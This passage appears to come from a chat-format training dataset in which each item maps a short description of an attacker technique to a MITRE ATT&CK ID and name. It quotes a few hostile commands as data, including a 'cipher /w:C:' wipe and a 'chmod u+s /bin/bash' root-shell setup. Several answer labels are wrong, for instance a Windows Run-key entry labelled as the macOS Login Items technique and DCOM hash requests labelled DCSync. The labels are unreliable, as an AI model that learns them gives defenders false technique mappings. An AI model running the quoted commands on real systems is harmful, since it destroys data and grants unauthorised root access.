                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script utilizes PowerShell’s Add‑Type to compile and inject a DLL into a running process."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker crafts a spearphishing message pretending to be from the HR department, embedding a shortened URL that redirects to a credential‑harvesting website."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker manipulates kernel-mode drivers to intercept and manipulate authentication traffic on a system, what tactic does this represent?"
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script accessed Google Cloud Secret Manager using stolen service account credentials to retrieve private keys."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit domain admin privileges to create a new trust relationship with their own domain."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised tool writes database connection strings with passwords into the registry path HKEY_LOCAL_MACHINE\\Software\\DBConfig."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use the tar utility via a scripting language to bundle harvested documents prior to upload."
            },
            {
                "role": "assistant",
                "content": "T1560.002 - Archive Collected Data: Archive via Library"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses street view imagery and local business listings to determine where the target company's offices are situated."
            },
            {
                "role": "assistant",
                "content": "T1591.001 - Gather Victim Org Information: Determine Physical Locations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor exfiltrates system information by performing HTTP GET requests that embed data in the URL query string to a controlled web service, receiving no replies."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware communicates with its C2 server using UDP port 53, mimicking DNS traffic."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware uses the Windows API IsDebuggerPresent to detect if it is being analyzed and aborts execution if a debugger is attached."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary establishes a chain of compromised proxy servers, forwarding C2 traffic through three hops to obscure its origin."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder harvested SharePoint metadata and document contents, using the data to map the organization’s internal structure."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious firmware is deployed via a signed update, allowing code execution before the OS boots."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder altered the User-Agent string of compromised browsers to match common corporate browsers, evading detection."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised user opened a malicious extension that synced with the Edge password manager and exfiltrated its entries."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries execute a PowerShell command via msiexec /package \"C:\\malicious.msi\" /quiet, allowing them to bypass application whitelisting by masquerading the malicious code as a legitimate installer."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan is delivered as \"readme.docx.bat\" to appear as a Word document while actually being an executable."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By taking advantage of a missing quotation mark in the executable path of a Windows service, the attacker positions a malicious executable in a parent directory that gets executed first."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a vulnerability in the power management subsystem to force the endpoint into a constant sleep-wake cycle, causing denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a publicly accessible web service as a dead‑drop resolver, posting encrypted payloads and retrieving commands via HTTP GET requests."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistent code is written to the system's firmware, enabling the attacker to run commands before the OS loads."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider adds their own account to the privileged \"Power Users\" group to gain elevated access."
            },
            {
                "role": "assistant",
                "content": "T1098 - Account Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a script that invokes the Windows command \"cipher /w:C:\" to wipe free space on the C: drive, effectively erasing residual data."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware renames its executable by prefixing it with a Right-to-Left Override control character, so the displayed name looks like a legitimate system process."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware obfuscates configuration files by encoding them with a Caesar cipher before writing to disk."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script uses the FileSystemObject in VBScript to create a new file containing a base64-encoded backdoor."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT3 writes a new variant of Emotet to improve spam distribution efficiency."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor launches mmc.exe with a malicious .msc file that loads a custom DLL to execute arbitrary code."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Office macro stores an encrypted shellcode payload inside a hidden Excel sheet, which is extracted and executed."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use WMI to retrieve the Application event log entries for installed software details."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor exploited compromised credentials to call the IBM Cloud API and create a snapshot of a virtual server for backup stealing."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet composed of compromised web browsers was used to perform credential stuffing attacks."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries extract clear‑text passwords stored in Group Policy Preference XML files to obtain credentials for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor exploited a GCP Compute Engine VM's service account by querying the metadata server for an OAuth token, granting them temporary elevated privileges in the project."
            },
            {
                "role": "assistant",
                "content": "T1548.005 - Abuse Elevation Control Mechanism: Temporary Elevated Cloud Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor distributes a malicious HTML document that contains a JavaScript payload hidden in a data: URL; when the victim renders the page, the script decodes and runs the payload, exemplifying HTML smuggling."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit a compromised mobile device to intercept push notification approvals, effectively bypassing MFA prompts."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerPoint file embeds an auto‑run script that executes when the presentation is opened in Office."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious insiders run a PowerShell command to export the employee directory containing first and last names."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service rewrites its own binary on disk with a trojanized version."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary extracts the BIOS firmware version by sending low-level SMB commands to the target machine."
            },
            {
                "role": "assistant",
                "content": "T1592.003 - Gather Victim Host Information: Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use a publicly shared key to encrypt outbound traffic, creating an asymmetric cryptographic tunnel for C2."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker harvests publicly available data such as names, addresses, dates of birth, and phone numbers from online directories to build detailed victim profiles."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker issues a series of DNS A record lookups for subdomains to discover internal services."
            },
            {
                "role": "assistant",
                "content": "T1590.002 - Gather Victim Network Information: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a zero‑day in a network device's management API to reset the default admin password and enable telnet access with no encryption."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor abuses a legitimate RDP client to resume a dormant RDP session that was left open, gaining unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan adds an entry to the Windows Registry under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run to persist."
            },
            {
                "role": "assistant",
                "content": "T1547.015 - Boot or Logon Autostart Execution: Login Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker retrieves stored login credentials from Firefox's logins.json file after gaining user privileges."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By using the CreateTransaction API, the attacker constructs a process doppelgänging chain to hide the payload."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group purchases a custom ransomware encryptor on a hidden forum and deploys it after initial intrusion."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performed an ICMP echo request flood (ping flood) that saturated the target's bandwidth, rendering it unreachable."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers manipulate the SAML token generation process to apply reversible encryption, making it possible to forge valid tokens."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider copies production configuration YAML files from the source control system to a personal device."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder executed 'chmod u+s /bin/bash' to set the setuid bit on the bash executable, granting users the ability to spawn a root shell."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor performs token impersonation to start a cmd.exe process with elevated rights."
            },
            {
                "role": "assistant",
                "content": "T1134.002 - Access Token Manipulation: Create Process with Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor engineers a firmware exploit for network routers to establish persistent footholds before any detection."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses the 'echo %USERDOMAIN%\\%USERNAME%' command to capture the domain and user name of the session."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By placing a rogue executable in a directory whose path contains spaces and is not quoted, the threat actor hijacks execution flow when the legitimate binary is called."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion utilizes an OS X backdoor that calls the KeychainItemCopyContent function to read stored VPN credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes a script that duplicates the backdoor onto any attached external storage devices for later use."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries create a shortcut (.lnk) file that uses a legitimate program’s icon to conceal a malicious payload, then deliver it via phishing."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies a batch file to call an unquoted path that includes a malicious executable, exploiting the fact that the command interpreter will prioritize the attacker’s file over the intended one."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary adds a new local administrator account on the compromised Windows host."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script opens thousands of concurrent database connections to a SQL server, exhausting its thread pool and leading to a service denial on the host."
            },
            {
                "role": "assistant",
                "content": "T1499.002 - Endpoint Denial of Service: Service Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a CI/CD runner on the host to execute a Dockerfile, resulting in a malicious image stored locally."
            },
            {
                "role": "assistant",
                "content": "T1612 - Build Image on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary abuses the DCOM interface to request password hashes from a remote system."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script enumerates the Thunderbird profile folder and zips all mail folders for upload."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware periodically polls a malicious domain using HTTP GET requests for new instructions."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT groups performed automated crawling of SharePoint lists to gather employee data."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor performs a man‑in‑the‑middle attack on an HTTP connection, modifies the Set‑Cookie header to inject a crafted session ID, and gains persistent access."
            },
            {
                "role": "assistant",
                "content": "T1606 - Forge Web Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing attachment contains a macro that waits until the system clock reaches a specific date and time (e.g., 2025‑01‑01 00:00) before executing the payload."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor harvests recent chat messages from a messaging application."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using port knocking, the adversary transmits three DNS queries to predetermined ports, each query acting as a ‘knock’ that, once completed, opens a reverse shell listener."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker gained access to a software vendor's build server and inserted a backdoor into the official release binaries before distribution."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary utilizes a public pastebin API to upload stolen credentials, relying on a one-way communication model that doesn't expect replies."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
